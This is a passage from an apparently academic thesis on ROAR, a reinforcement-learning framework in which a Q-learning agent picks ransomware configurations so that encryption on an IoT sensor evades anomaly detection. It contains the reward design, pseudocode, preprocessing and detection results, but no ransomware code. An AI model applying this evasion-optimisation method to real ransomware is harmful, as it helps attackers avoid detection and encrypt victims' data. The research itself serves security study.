mancereward) as utilized in the Controller.

This entirely modular build heavily simplifies interchanging small parts of the overall
implementation, e.g., switching from rectified linear unit (ReLU) to Sigmoid linear unit
(SiLU) activation, with the least possible impact. Unfortunately, further reducing the
impact by having one of all previously described classes for each prototype version lead
to high code duplication. Therefore, the following abstract classes were created to extract
common functionality over multiple component variations into a shared parent entity:
AbstractController, AbstractReward, AbstractPreprocessor, and AbstractAgent.

5.1.3 Environment Simulation

The notion of the Controller coordinating the environment simulation was already in-
troduced in Subsection 5.1.2. It was further mentioned that the simulation is a substitute
for the execution relying on API calls and training data collected from the target device.
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Although the ROAR framework is intended to be used in a production environment and
thus targeting a resource-constrained device is part of the attack scenario, having to rely on
collecting fingerprints from the target device that would arrive roughly every seven seconds
is tedious and takes much time when multiple thousand episodes are required for the agent
to learn which actions are at least close to being optimal. This time may not always be
available, especially when developing and improving the current implementation.

Accordingly, it is possible to significantly speed up the training process by entirely de-
coupling the execution from any real-time data, therefore making the execution of the
ransomware superfluous. Of course, as the data is still required for the training to work,
behavioral fingerprints and related encryption metrics (most importantly, the encryption
rates) must be collected in advance. However, they need not be collected for every exe-
cution but can be reused each time.

By executing the agent in simulation mode, the web server for the API is not needed and
never started. To provide the initial state and whenever an action was predicted, the Con-
troller randomly samples a fingerprint belonging to the set of fingerprints corresponding
to the ransomware configuration matching the selected action (initially configuration zero).
The fingerprint is accompanied by the current encryption rate, indicating how fast the
encryption on the target device would progress. If the selected action matches a configu-
ration with an unlimited encryption rate, the average encryption rate is calculated from
all encryption metrics collected for this configuration. Otherwise, when the configuration
states a maximum rate, the encryption rate is taken directly from the configuration for
simplicity. The sampled fingerprint and matching encryption rate are written to dedicated
files; since the API runs in a separate process, inter-process communication is implemented
via the file system. The Controller then waits until the required data is written to the
files before reading them and distributing the contents to the other components. The
same goes for any other component requiring the content of these files, for that matter.

With the simulation handling and providing the training data whenever needed, the RL
learning cycle runs as it would in a real-world environment. Accordingly, it must also stop
under the same conditions. Depending on the chosen prototype version, the Controller
may keep track of a configurable number of steps taken in every episode before terminating
an episode and terminating the learning process after finishing a configurable number of
episodes.

As a more reasonable alternative to a fixed number of steps per episode, starting from
prototype version 4 as described in Subsection 5.3.2, the Controller could also simulate
an artificial data corpus represented solely by a configurable number of bytes, i.e., the size
of the corpus. Then, with every action taken, from one step to another, the encryption
progress on this corpus is tracked by assuming a step duration of exactly one second and
simply having to add the reported encryption rate belonging to the selected action to
the progress counter. Once the progress counter reaches or surpasses the corpus size,
the ransomware is presumed to have achieved full encryption. The API call for the done
signal is simulated and stored in the storage file accordingly. Upon reading the storage
file and detecting a True value for the “full encryption”flag, the Controller terminates
the current episode with a bonus reward from the reward system.
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Figure 5.2: Initial Prototype Architecture

5.2 Conceptual Prototype

The prototype being built at the beginning of this work served as a means of verifying the
proper functioning of the overall environment and the interactions between the contained
components. Although there are results available that are evaluated at the end of this
chapter in Subsection 5.2.3, the prototype still needs to be optimized toward improving
rewards or accuracy. Furthermore, it still needs to feature multi-episode runs, so a mean-
ingful evaluation of the produced results would not make sense considering that future
prototypes are meant to address this issue.

5.2.1 V1 Proof of Concept

The initial prototype version 1 is a proof of concept (PoC) and is only required to demon-
strate that it is possible for an RL agent to a) receive the current state representation
(i.e., the current device behavior fingerprint), b) pick an action (i.e., a ransomware config-
uration) and ¢) receive its reward and the next state. Accordingly, an episode was limited
to selecting each available ransomware configuration exactly once, monitoring the impact
on the device behavior, and then terminating. Furthermore, since actions are selected
manually, the first prototype does not yet include a neural network; therefore, the com-
puted reward is not further processed. The overall architecture of this initial prototype is
depicted in Figure 5.2.

Although evaluating the impact of applying every configuration should best happen di-
rectly on the sensor, this would require additional efforts in restoring the sensor’s file
system to its previous, non-encrypted state after each episode — in addition to the un-
necessary computational load and the time lost for restoration. Instead, a simulated
environment can be used to tackle this challenge: prior to running the proposed RL
model, behavioral data of the device under the given circumstances was gathered, i.e.,
during normal behavior and infected behavior corresponding to ransomware running dif-
ferent configurations on the device. With this data, multiple datasets were created for
the simulation to randomly sample matching fingerprints and feed them to the agent.
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Once the datasets have been prepared, the setup for the attack can begin. Since the IoT
device at hand allowed quickly providing a user with root privileges, performing an exten-
sive infection process did not make sense. Therefore, the infection phase is skipped, and
the ransomware is planted on the target device. The ransomware must not execute imme-
diately because later versions of the proposed RL framework must first collect a baseline
device behavior fingerprint while the device is still running in a normal, uninfected state.
This fingerprint is then used to train the AD model and is compared against any future
fingerprint to detect anomalous behavior. After the training, an initial ransomware con-
figuration must be provided on the target device (used to generate the initial fingerprint
for the starting state being sent to the C&C device later). Finally, triggering the ran-
somware execution and running the attack loop on both the target and the C&C device
must be executed manually. This trigger marks the start of the RL model ransomware
optimization process.

Provided that the agent can now read the environment’s current state representation
based on the provided fingerprint, it can select the subsequent action from the set of
so far unselected actions. The selected action is then converted into its equivalent ran-
somware configuration and sent to the sensor’s client API for integration into the running
ransomware attack. At this point in prototype development, there were eight different
ransomware configurations to choose from: four configurations that exchange the encryp-
tion algorithm to be used (e.g., ChaCha20 or AES in CBC mode) and four configurations
that adjust the settings for rate limitation and encryption bursts.

At the client API deployed on the sensor, the new ransomware configuration is received
and integrated at runtime into the running ransomware attack through configurable values
read from the configuration file. Once the ransomware has adjusted its behavior, the
subsequent fingerprint is collected and sent to the C&C device for further processing.

First, the C&C API redirects the new fingerprint to the AD module, where it is evaluated
against the baseline fingerprint to determine whether the behavior of the new ransomware
configuration is deemed anomalous (presumably detected) or normal (i.e., undetected).
This estimation is then forwarded to the reward computation module, which feeds the
reward for taking the chosen action in the previous state back to the agent. Specifically,
it will punish the agent with a negative reward if the new behavior is estimated to be
detected or present a neutral reward of zero if the behavior is normal. Irrespective of
the device behavior, a positive reward is only provided when the client announces the
encryption process to be complete by sending the done feedback. In the initial prototype,
the agent will not consider special measures according to a positive or negative reward
but will select every action exactly once and terminate afterward. Accordingly, a positive
reward is never presented because the agent terminates by itself without waiting for the
ransomware to finish encryption (given the size of the manipulation dataset described in
Section 4.3).

Fingerprinting Target Device

Behavioral data of the target device was collected in advance to be used in an environ-
ment simulation for training the AD model and the RL agent. The fingerprints were
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collected with the fingerprinter.sh script described in Section 4.3 for normal behavior
and infected behavior belonging to every available ransomware configuration. The data
collection occurred on multiple days at various times and lasted for different durations,
ranging from a few minutes to almost four hours. The samples were collected in single
or multiple captures depending on the behavior. In total, 9000 normal and 6000 infected
samples were collected, of which the infected samples were split into 1000, 600, 600, 700,
1100, and 1000 samples for configurations 0 to 5, respectively.

All collected data were shuffled and randomly split into training and test sets with an 80%
to 20% ratio. The resulting training sets contain 7200 normal and 4000 infected samples
(split into 800, 480, 480, 560, 880, and 800 samples for configurations 0 to 5, respectively).
The test sets contain 1800 normal and 800 infected samples (split into 200, 120, 120, 140,
220, and 200 samples for configurations 0 to 5, respectively).

Performing AD on Fingerprints

As introduced earlier, the AD module is a part of reward computation within the RL
environment. Its task is to evaluate the actions predicted by the RL agent and punish
detected behavior to guide future behavior toward staying hidden. However, properly
preprocessing the fingerprints received from the target device is critical for AD. Therefore,
selecting an excellent model to classify normal behavior correctly should be the first
decision before starting to improve the detection rates. Three ML models were chosen to
evaluate the best fit for AD of the infected device behavior, namely Isolation Forest (IF),
Local Outlier Factor (LOF), and One-Class Support Vector Machine (OCSVM). The
constructor used a contamination factor of 0.05 for all three models. Table 5.2 shows the
results of the AD for each model, respectively. Since the goal of AD is to detect anomalies
in the device behavior, normal behavior is considered a negative and infected behavior a
positive result. Accordingly, the metrics in the table refer to the true negative rate (TNR)
for normal behavior and the false negative rate (FNR) for infected behavior, i.e., the ratio
of samples classified as benign in percent. The accuracy metrics are chosen due to the
importance of evaluating an AD model based on its ability to correctly classify normal
behavior and the interest in maximizing evasion rates for behavior belonging to ongoing
attacks.

Initially, only simple preprocessing was applied. All fingerprint samples collected when
the Raspberry Pi did not have connectivity were dropped from the training set before
dropping the connectivity feature altogether. Then, duplicate features are removed to
avoid a bloated state space. In addition, irrelevant temporal features are dropped, such
as different timestamps or duration counters stemming from the fingerprinting process.
They are irrelevant to the task and may even result in the AD model or RL agent learn-
ing an incorrect correlation between measured device behavior and recurring timestamps
originating from the measurement period, so removing these features is advisable. Lastly,
constant features are also dropped as they do not provide any value. As a result, only
86 features remain from the original 103 features (i.e., the upper half of Figure 4.2, not
considering duplicates and temporal features). The remaining features include 18 resource
features (6 cpu, 3 memory, 5 network, 4 tasks), 2 system call features (2 raw_syscalls),
6 device driver features (1 gpio, 2 irq, 1 mmec, 1 preemptirq, 1 workqueue), 12 scheduler
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Table 5.2: AD TNR and FNR of all Models for Classification as Normal Behavior in

Percent after Simple Preprocessing
Model ‘ Normal Config 0 Config1 Config 2 Config3 Config4 Config5

IF 85.22 79.50 0.00 0.00 65.71 66.93 59.50
LOF 73.89 70.75 0.00 0.00 5.18 20.45 13.75
OCSVM | 69.94 68.50 0.00 0.00 5.36 21.70 21.25

features (1 cpu-migrations, 1 cs, 5 scheduler, 2 signal, 1 task, 2 timer), 11 network fea-
tures (1 fib, 3 net, 1 qdisc, 3 skb, 1 sock, 2 tcp), 9 file system features (6 block, 1 filemap,
2 jbd2), 21 virtual memory features (8 kmem, 1 page-faults, 1 pagemap, 11 writeback),
4 CPU features (1 clk, 1 ipi, 2 rpm), and 3 random number features (3 random).

The normal and infected behavior data (all configurations) previously collected from the
target device was used to train the different ML models. Only the normal samples from
the training sets were for training the AD model. Meanwhile, the samples for infected
behavior from the training sets were used in evaluating the AD model and training the RL
agent. Furthermore, all test sets were used for computing the accuracy of an RL agent.

For simple preprocessing, the IF model produces the best results by far regarding the
classification of normal behavior, as is shown in Table 5.2. However, normal behavior is
correctly classified only in 85.22% of all cases. Attempts to further improve the classi-
fication rates are part of subsequent prototypes, i.e., starting with prototype version 3,
described in Subsection 5.3.1.

5.2.2 V2 Inducing Intelligence

Prototype version 2 explores the applicability of Deep RL, i.e., the combination of deep
learning (DL) and reinforcement learning (RL), and implements a Deep Q-learning al-
gorithm. As it is merely an intelligent extension of the previous prototype meant for
simplicity (continuing the initial PoC), this prototype applies Q-learning only over a sin-
gle episode consisting of taking multiple steps. This limitation is also why this prototype
version was included in the conceptual prototype instead of the Q-learning prototype. Of
course, the mentioned limitation is resolved, and the algorithm is extended to multiple
episodes (each also with multiple steps) in future prototypes (specifically version 3, see
Subsection 5.3.1).

The behavioral fingerprinting applied in this work produces a vast state space, with the
number of features ranging from 50 to 97. Generally, the theoretical value range of
these features is extensive, while some of the features take continuous values. Since this
results in a state space too large to be represented with a more straightforward tabular
approach, the corresponding action-value function can be approximated with a deep neural
network. Accordingly, Deep Q-learning is a promising approach because it utilizes such an
approximation and applies TD learning with per-step rewards to solve the underlying RL
problem. Furthermore, as the reward design is flexible, selecting different rewards is also
possible, such as making per-step rewards optional and only providing negative rewards
after each step. Then, positive rewards would be returned at the end of an episode.
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Algorithm 5.1 Pseudocode Q-Learning Algorithm (Single Episode)
1: Initialize parameters: learning rate o € (0, 1], discount factor v € [0, 1], small € > 0
2: Initialize state-action pairs Q(s,a)Vs € S,a € A(s) where Q(Sterminat;—) = 0
3: Initialize starting state S
4: for step in episode do

5: Select action A from state S using policy 7(a|S) > e.g., e-greedy
6: Take selected action A

7 Observe reward R and next state S’ from environment

8: Update Q(S, A) + Q(S, A) + a[R + v maz, Q(5,a) — Q(S, A)]

9: S« 5

10: if S is terminal then

11: break

12: end if

13: end for

Concepts of Q-Learning

In Q-learning, an action-value function is learned instead of a state-value function. The
agent learns a function to estimate the value of an action to be taken in a given state at a
particular time step and uses the estimates to select the best action. Originally developed
by [94] in 1989, Q-learning is an off-policy temporal difference control algorithm defined by
Q(Sy, Ar) + Q(Sy, Ay) + a[RtH + v max, Q(Sii1,a) — Q(St, At)]. Here, @ is the learned
action-value function which approximates the optimal action-value function based on value
estimates of state-action pairs (5, A) and some reward R yet independent of the followed
policy. The policy determines which state-action pairs are being visited and updated.
Accordingly, the only condition for () to converge is that the policy is chosen so that all
pairs continue to be visited [12].

As mentioned before, this prototype applies Q-learning only over a single episode. Fol-
lowing Algorithm 5.1, in the beginning, the different parameters and constants need to
be initialized. That includes the learning rate «, the discount factor ~, and the policy-
dependent exploration probability e.

The learning rate « is also called “step size” and represents the weight given to the update
of the Q-values. Properly selecting a suitable step size is complex and requires multiple
runs. On the one side, if the step size is too small, the current Q-value estimates will
likely get stuck in a local maximum, and finding the global maximum (i.e., the optimum)
will not be possible. On the other side, setting a step size that is too large will result in
the estimates overshooting multiple local maxima at once, and convergence is impossible
in most cases.

The discount factor v determines the present value of future Q-value estimates, i.e., it
is used to control the importance of the value estimate of the next state-action pair
Q(S’,a) over the current estimate Q(S, A). With « approaching 1, the agent becomes
more farsighted and considers future value estimates more strongly. In contrast, with
v = 0, the agent is only concerned with maximizing immediate estimates and does not
care about the future.



5.2. CONCEPTUAL PROTOTYPE 41

The exploration probability € is optional as it depends on the policy 7(a|S) used to predict
the best action A from the current state S. One example of a policy — which is being
used in this prototype — is the e-greedy policy: with a small probability € the agent
selects a random action from the set of available actions in the current state. Like this,
the trade-off between exploration and exploitation can be controlled. The e-greediness
ensures exploration to discover new states in the early stages. At the same time, with
¢ decreasing over multiple episodes according to a constant decay factor ¢ € [0, 1), the
exploitation of learned optimal actions becomes more and more important — at the cost
of exploration. Nevertheless, € decay is not yet implemented in this prototype as it only
covers a single episode.

After initializing the parameters, the set of possible states and their corresponding set of
available actions must be initialized. The condition of setting Q(Sierminai; —) = 0 is mainly
relevant for updating the action-value function Q(S, A), where maz, Q(S}. mina> @) = 0
for all a as there is no subsequent action to take in a terminal state.

Finally, initializing some starting state S must precede the loop over the steps for Q-
learning to work. The loop over all steps in the given episode is terminated once a
terminal state is reached. Each step contains four essential activities:

1. choosing an action A for current state S following a certain policy;

2. taking the chosen action and observing the reward R and next state S’ as presented
by the environment;

3. updating the action-value function Q(S,A) according to the presented reward R
and the estimation error Q(S5’,a) — Q(S, A);

4. iterating states by setting the next state S’ as the current state S.

In the third activity, maz, Q(5’,a) — Q(S, A) not only defines the estimation error but
also clarifies that the error is to be calculated from the estimate of the best action in the
next state S’. Furthermore, the max, in maz, Q(S’,a) — Q(S, A) signifies the off-policy
approach inherent to Q-learning: given an e-greedy policy, for example, the agent can
select an action that is not necessarily the best action for a given state. Therefore, in such
a case, the agent would not learn from the value estimate of the selected action but from
the best action, which is not the one the policy predicted. In comparison, an on-policy
approach would not permit such a difference and always learn from the selected action
even if it is not optimal.

Implementing Q-Learning in ROAR

Because the state space (the features extracted from the collected device behavior finger-
print) is vast due to the number of features and floating point value ranges, a tabular
approach for the RL model is not feasible. Instead, a neural network is used to approx-
imate the policy function due to neural networks’ property of being universal function
approximators. Figure 5.3 depicts the agent featuring a neural network embedded in the
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Figure 5.3: Prototype Architecture Featuring an “Intelligent” Agent

RL environment. Specifically, this prototype uses a simple neural network consisting of
three fully-connected layers with logistic activation (also called Sigmoid activation) after
the first layer and ReLU activation after the second (see Figure 5.4). Accordingly, the
simple representation of the agent depicted in Figure 5.2 has been replaced with a visual
representation of a neural network in Figure 5.3. This symbolic representation is not
specific to Q-learning, and the overall architecture of the environment remains the same
for any future prototype. The logistic and ReLLU activation functions and their deriva-
tions as required for backpropagation through the neural network are defined below in
Equations 5.1 and 5.2, respectively.

ter (5.1)

g(x) = max(0, x)

ag_{L if £ >0 (5.2)

oz 0, otherwise

At this point, it is also noteworthy that the state space no longer contains all fingerprint
features, as certain features have been dropped. In this prototype, the preprocessing
applied in the Agent differs from that in the AD model described in Subsection 5.2.1.
Here, three duplicate features were removed in preprocessing as they are redundant and
would only increase the time required for convergence without adding further information.
Also, three time-respective metrics, such as multiple forms of the collection timestamp,
were dropped because they are irrelevant to the problem at hand and might interfere with
the learning process. Figure 5.5 visualizes the neural network used in the RL agent as
described in this subsection. Hence, the dimensions of the neural network are as follows:
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Algorithm 5.2 Uniform Weight Initialization in the Custom Model Implementation
Require: receive network dimensions in Model constructor

1: import numpy as np

2: function INITIALIZE_ NETWORK

3: w1l = np.random.uniform(0, 1, (num_input, num_hidden))

4 w2 = np.random.uniform(0, 1, (num_hidden, num_output))

5 bias_w1 = np.zeros((num_hidden, 1))
6: bias_w2 = np.zeros((num_output, 1))
7
8

: return wl, w2, bias_w1, bias_w2
: end function

e the input layer has 97 neurons (matching the remaining features of the fingerprint),

e the hidden layer has 50 neurons (roughly 50% of the input layer rounded up to the
next ten),

e and the size of the output layer corresponds to the number of available ransomware
configurations (dynamically retrieved from the file system, six at the time of devel-
opment).

For most implementations of DL models, publicly available frameworks, such as Keras!
or TensorFlow?, can be used to ease the setup of the underlying structure of complicated
neural networks. However, because no fitting framework could be found that was able to
represent a simple two-layer neural network while at the same time providing the ability
to incorporate the notion of rewards in the error computation and the flexibility of indi-
vidually adjusting all (hyper)parameters used in the model, the RL model used in ROAR
was entirely implemented by hand without the use of popular frameworks. Following the
network structure described above, Algorithm 5.2 shows the initialization of the network’s
core: the weights connecting the different layers in a fully-connected way, including indi-
vidual biases to each set of weights. After that, the weights are essential for calculating
the Q-values (forward pass) and the weight update according to the error (backpropaga-
tion). Algorithm 5.3 explains the forward pass, and Algorithm 5.4 the backpropagation as
implemented in the custom model. Unless explicitly stated in the respective prototype de-
scription, the implementation of the custom model remains unchanged throughout future
prototype versions as they are primarily concerned with optimizations in the environment
or specific RL algorithms.

The agent follows an epsilon-greedy policy in which it will decide with probability ¢ = 0.2
to take a random action, which may not coincide with the current estimated optimal
action. The epsilon-greedy policy ensures that the agent still explores different actions to
find new states and does not only exploit by always taking the supposedly optimal action.

Furthermore, the agent incorporates the reward in this prototype version instead of ignor-
ing it as the previous version did. First, the so-called standard reward used in prototype
version 2 is computed based on the AD results. A fixed reward of h = +20 is given for

'https://keras.io/
Zhttps://www.tensorflow.org/
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Algorithm 5.3 Forward Pass in the Custom Model Implementation
Require: receive epsilon EPS and allowed actions AA in Model constructor
1: import numpy as np
2: function FORWARD(w1, w2, bwl, bw2, inputs)
3: adalinel = np.dot(w1.T, inputs) + bwl

4: hiddenl =1 / (1 + np.exp(-adalinel)) > logistic activation
5: adaline2 = np.dot(w2.T, hiddenl) + bw2

6: q = adaline2 * (adaline2 > 0) > ReLU activation, h2
7: possible_a = AA

8: g-a = q[possible_a]

9: if np.random() < EPS then

10: sel_a = possible_a[np.random.randint(possible_a.size)]

11: else

12: argmax = np.argmax(q_a)

13: sel_a = possible_alargmax]|

14: end if

15: return hiddenl, q, sel_a
16: end function

Algorithm 5.4 Backpropagation in the Custom Model Implementation
Require: receive learning rate LR in Model constructor

1: import numpy as np

2: function BACKWARD(q, q_err, hidden, w1, w2, bwl, bw2, inputs)

3: d2 = (q > 0) * qerr > derivative ReLU
4: dw2 = np.outer(hidden, d2.T)

5: dl = hidden * (1 - hidden) * np.dot(w2, d2) > derivative logistic
6: dwl = np.outer(inputs, d1)

7 wl += LR * dwl

8: w2 += LR * dw2

9: bwl += LR * d1

10: bw2 += LR * d2
11: return wl, w2, bwl, bw2
12: end function
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Table 5.3: Expected Rewards of each Configuration for Standard Reward Computation
Based on the Respective Detection Rates of Simple AD

Configuration | Expected average rewards
Config 0: 0.7950 * 20 + 0.2050 * (—20) = 11.80
Config 1: 0.0000 % 20 + 1.0000 * (—20) = —20.00
Config 2: | 0.0000 * 20 -+ 1.0000 * (—20) = —20.00
Config 3: | 0.6571 % 20 + 0.3429 % (—20) = 06.28
Config 4: 0.6693 * 20 4 0.3307 * (—20) = 06.77
Config 5: | 0.5950 % 20 + 0.4050 * (—20) = 03.80
hidden behavior, and a fixed reward of d = —20 for anomalous behavior. If the new state

has reached full encryption of the target device (or the environment simulation has met its
termination criteria), a fixed bonus reward of b = 450 is returned. When combining the
simple AD for the chosen IF model presented in Table 5.2 with the standard reward, as is
shown in Table 5.3, configuration 0 has the highest expected reward of 11.80 and is thus
considered the best configuration in this prototype version, followed by configuration 4
with an expected reward of 6.77. Afterward, the agent receives the reward from the envi-
ronment and — based on the reward and the estimation error — updates its internal weights
to incentivize beneficial actions. As such, the agent can predict the optimal action in a
given state, learn from the computed reward resulting from taking it, and, thus, finally
be called “intelligent.” Only after the weight update is the new fingerprint handed to the
agent as the next state. The cycle repeats: choose an action for the new state, send the
corresponding ransomware configuration to the client, and wait for the reward and next
state.

Preprocessing Input Data

The device behavior fingerprint collected from the target device in its original form con-
tains 103 features. Some are stored as floating point numbers with a theoretically infinite
value range. However, most of these features represent trackers of system resources or
counters of hardware events and are therefore stored as integers. Moreover, their values
may range between zero and several hundreds of thousands depending on their underly-
ing information. Feeding such large values directly to the network as input would lead
to very large Q-values after forwarding through the network and multiplying with the
weights, resulting in exploding gradients after a few iterations. Accordingly, the input
values should first be normalized ([—1, 1]-normalization in Equation 5.3) or standardized
(Equation 5.4, given mean p, and standard deviation o4 of input X) according to the
following equations.

" T
ry) = —— (5.3)
mazy |, |

[n]
2 = Ta —Hd (5.4)
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Algorithm 5.5 Fingerprint Standardization Based on Collected Normal Behavior Data
Require: data file normal-behavior.csv and its path CSV_DIR

1: import os

2: import numpy as np

3: function STANDARDIZE_FP(inputs)

4: csv_normal = np.loadtxt(fname=os.path.join(

CSV_DIR, "normal-behavior.csv”), delimiter=",", skiprows=1)
norm-_min = np.min(csv_normal, axis=0).reshape(-1, 1)
norm-max = np.max(csv_normal, axis=0).reshape(-1, 1)
std = (inputs - norm_min) / (norm_max - norm_min + 0.001)
return std

end function

Unfortunately, the nature of the RL environment does not allow for proper normaliza-
tion. Normalizing the data would only be possible in a simulated environment (where all
the available fingerprints are known in advance) but is infeasible in a real-world environ-
ment because the maximum value of an unknown fingerprint collected during the learning
process cannot be computed beforehand. Therefore, standardization is the way to go.
However, standardization partially suffers from the same problem because the mean and
standard deviation must be computed before collecting new fingerprints. Although this
might seem tricky at first, standardization in such a way is possible if the initially collected
set of normal behavior fingerprints used in training the anomaly detection before the infec-
tion is taken as the base dataset for computing the mean and standard deviation. Then,
once the infection occurs and the learning process has started, only infected behavior is
collected, which must be standardized relative to the previously collected normal behav-
ior. Of course, this process could be improved, and all data should be standardized with
mean and standard deviation computed from their semantically corresponding dataset.
However, it does yield the results of drastically decreasing the input values fed to the net-
work, thus avoiding exploding gradients. Algorithm 5.5 lists the concrete implementation
as applied in the ROAR environment.

Results

Figures 5.6 and 5.7 present the results of running prototype version 2 for a single episode
of 500 and 1000 steps, respectively. The plots show that the PoC worked as the agent
predicted different actions leading to hidden and detected behavior. Also, the reward com-
putation works as designed, rewarding hidden behavior with 420 and detected behavior
with -20. In combination with both observations, the agent can learn from the negative
rewards for detecting some actions and switch to actions with a higher average reward,
i.e., fewer detections. This improvement is nicely visualized by the increasing exponential
moving average (EMA) of the collected rewards. For the last step, which represents the
complete encryption of the target device, a bonus reward of +50 is returned.
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Figure 5.6: Result Plots for Prototype Version 2 over 500 Steps with € = 0.2, o = 0.0050,
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Figure 5.7: Result Plots for Prototype Version 2 over 1’000 Steps with e = 0.2, a = 0.0050,

v =0.75

Table 5.4: Accuracy for Prototype Version 2 after 10’000 Steps with € = 0.2, a = 0.0050,

v =0.75
Configuration Initial Accuracy Trained Accuracy Final Q-Values
Percentage  # Samples | Percentage  # Samples
Config 0 03.21% 90 / 2800 | 84.04% 2353 / 2800 43.82
Config 1 82.89% 2321 / 2800 | 02.89% 81 / 2800 09.75
Config 2 03.46% 97 / 2800 | 03.43% 96 / 2800 11.72
Config 3 03.32% 93 / 2800 | 02.82% 79 / 2800 24.29
Config 4 03.82% 107 / 2800 | 03.07% 86 / 2800 19.04
Config 5 03.29% 92 / 2800 | 03.75% 105 / 2800 26.64
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5.2.3 Prototype Evaluation

For the conceptual prototype, the initial version 1 did not produce valuable results to be
collected in a results plot. The reason is that each run consisted only of a single episode in
which every action was manually selected exactly once. Hence, there are only a few steps
to report the outcome. Furthermore, the agent still needed to incorporate the rewards
returned by the environment, as there was no neural network to update corresponding
weights.

Presentable results were available after introducing prototype version 2, which implements
the Q-learning algorithm with a neural network. Accordingly, only the results of version 2
are briefly analyzed in the previous section. Unlike the next prototype, version 3, in which
the agent takes multiple steps per episode and trains for multiple episodes, prototype
version 2 implements the Q-learning algorithm so that the agent does not traverse multiple
episodes but only takes multiple steps in a single episode. Since there is only one episode
and the e is not decayed, as expected, the number of negative rewards remains high
throughout the entire episode. The results of the accuracy computation for version 2 are
listed in Table 5.4. For the accuracy computation, the agent is evaluated before and after
training. As stated in Subsection 5.2.1, the test sets for normal and infected fingerprint
samples are used in the accuracy computation. Specifically, for each type of behavior,
every sample is fed to the agent to predict the best action to be taken in that state.
A randomly selected sample of the same behavior type is provided as a next state to
compute the Q-values correctly. However, during the evaluation of the agent, neither
backpropagation nor weight updates are performed to avoid tampering with the agent.

As was shown in Table 5.3, the optimal configuration to follow is configuration 0 since
it has the highest evasion rate and, thus, the highest expected reward. Accordingly,
the accuracy computation shows that the agent can learn the best configuration in the
current setting. After training, configuration 0 has the highest Q-values of 43.82 and, by
far, the highest accuracy of 84.04%. In comparison, the next best configuration 4, with
the expected reward closest to configuration 0, only has Q-values of 19.04 and an accuracy
of 3.07%.

Although the agent properly learns the best available configuration, distinguishing con-
figurations with similar detection rates has the potential for improvement. For example,
configurations 3 and 4 have very similar FNR in AD. However, configuration 3 has a
higher encryption rate of 500 bytes per second and should generally be considered better
than configuration 4, with an encryption rate of only 200 bytes per second. Nevertheless,
their final Q-values after running the agent for 1’000 steps are very close. Moreover, after
just 500 steps, the Q-values for configuration 4 are higher than those of configuration 3.

Another example can be made by comparing configurations 3 and 5 using Table 5.5.
Here, the Q-values of configuration 5 are greater than those of configuration 3 after 500
and 1’000 steps. Apparently, since the Q-values of configuration 5 have decreased with
additional training and gotten closer to those of configuration 3, the agent will eventually
account for the higher FNR of configuration 3. However, it will require more training to
do so. A distinction is made, yet it should happen sooner and be more evident.
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Table 5.5: Q-values after Running Prototype Version 2 with ¢ = 0.2, o = 0.0050, v = 0.75
for 500 and 1’000 Steps

Configuration | Q-values 500 steps Q-values 1000 steps
Config 0 51.93 43.82
Config 1 18.30 09.75
Config 2 13.67 11.72
Config 3 23.56 24.29
Config 4 37.43 19.04
Config 5 34.36 26.64

Overall, the results generated by the conceptual prototype may be considered a successful
implementation of the underlying PoC. However, some possibilities for improvements
have been discovered that will be addressed in future prototypes. Accordingly, based on
version 2, the Q-learning prototype examines the shortcomings and identifies solutions
presented in Section 5.3.

5.3 (Q-Learning Prototype

This prototype addresses the issue of performing multi-episode learning and correctly
implements exploration with e-decay accordingly. Furthermore, it evolves the simulation
of the environment and is no longer bound to a fixed number of steps taken per episode
but instead rewards encryption progress. Lastly, the Q-learning prototype improves the
preprocessing of fingerprints, the associated AD, and the coupled reward computation.

5.3.1 V3 Performance Rewards

This prototype version 3 improved the agent, so it no longer stops after a single episode,
as in previous prototypes. Instead, it continues by chaining multiple episodes to apply
a continuous optimization process and allows for orchestration, e.g., decaying the initial
exploration probability e = 0.1 after every episode with a decay rate of 6 = 0.01 (see
Equation 5.5) or saving the current agent representation to a file to avoid loss of progress
in case of an error. The updated pseudocode for Q-learning over multiple episodes is listed
in Algorithm 5.6.

€

(5.5)

eps_episode =
ps-cp 1+ 6 * episode

Furthermore, version 3 is also the first prototype to save the current representation of
the agent (structure of the neural network, current weights and biases, epsilon, and other
relevant metrics) to a file after every episode to avoid loss of progress and enable external
evaluation of a trained agent, e.g., as part of the accuracy computation. It is also the
first prototype to generate plots after training showing accumulated rewards, average
accumulated rewards per steps in each episode, and the number of steps per episode.
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Algorithm 5.6 Pseudocode Q-Learning Algorithm (Multiple Episodes)

1: Initialize parameters: learning rate o € (0, 1], discount factor v € [0, 1], small € > 0
2: Initialize state-action pairs Q(s,a)Vs € S,a € A(s) where Q(Sterminat,—) =0
3: for every episode do
Initialize starting state S
for step in episode do
Select action A from state S using policy 7(alS) > e.g., e-greedy
Take selected action A
Observe reward R and next state S’ from environment
Update Q(S, A) + Q(S, A) + a[R + v maz, Q(5,a) — Q(S, A)]
10: S5

11: if S is terminal then
12: break

13: end if

14: end for

15: end for

Improving Anomaly Detection

While version 2 already modified the fingerprints by dropping some irrelevant features,
it did not align the preprocessing in the AD module with the preprocessing in the RL
agent. Prototype version 3 addressed this issue by applying the same preprocessing of
fingerprints in the AD module and the agent.

To further improve the classification rates, the advanced preprocessor was constructed,
extending the simple preprocessor. It also drops the duplicate, temporal, and constant
features (including the connectivity) as done in simple preprocessing. Besides those fea-
tures, all remaining features were plotted, and 28 unstable features whose normal behavior
was volatile over all fingerprints were manually identified and subsequently dropped. Fi-
nally, highly correlated features are removed based on their absolute correlation value
exceeding a configured threshold. Selecting a suitable correlation threshold turned out to
be a trade-off between improving the correct classification of normal behavior and pre-
serving sufficiently good AD for infected behavior to ensure the RL agent is still learning
the best behavior, all while dropping a reasonably high number of features to reduce the
state space and speed up the learning process. The threshold was set to 0.99 because it
yields the best results for classifying normal device behavior over all three models. The
detection rates and the number of remaining features for different thresholds under IF,
LOF, and OCSVM are illustrated in Tables 5.6 to 5.8, respectively. The tables list the
rates for classification as normal behavior in percent for different correlation thresholds
and the resulting number of remaining features, with the threshold yielding the best re-
sults for normal behavior highlighted in gray. For normal and infected behavior, the TNR
and FNR are represented, respectively. Again, IF also produces the best results for the
advanced preprocessor with 88.94% on a correlation threshold of 0.99.

With the selected correlation threshold of 0.99, 8 highly correlated features were dropped.
Out of 103 features initially contained in the fingerprint, a total of 53 features were
dropped, yielding 50 features of the fingerprint to be fed to the agent’s neural network.
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Table 5.6: AD TNR and FNR of Isolation Forest

Threshold ‘ Normal Config 0 Config 1 Config 2 Config 3 Config 4 Config 5 | Features

Simple Preprocessor
1.00 ‘ 85.22 79.50 0.00 0.00 65.71 66.93 59.50 86

Advanced Preprocessor
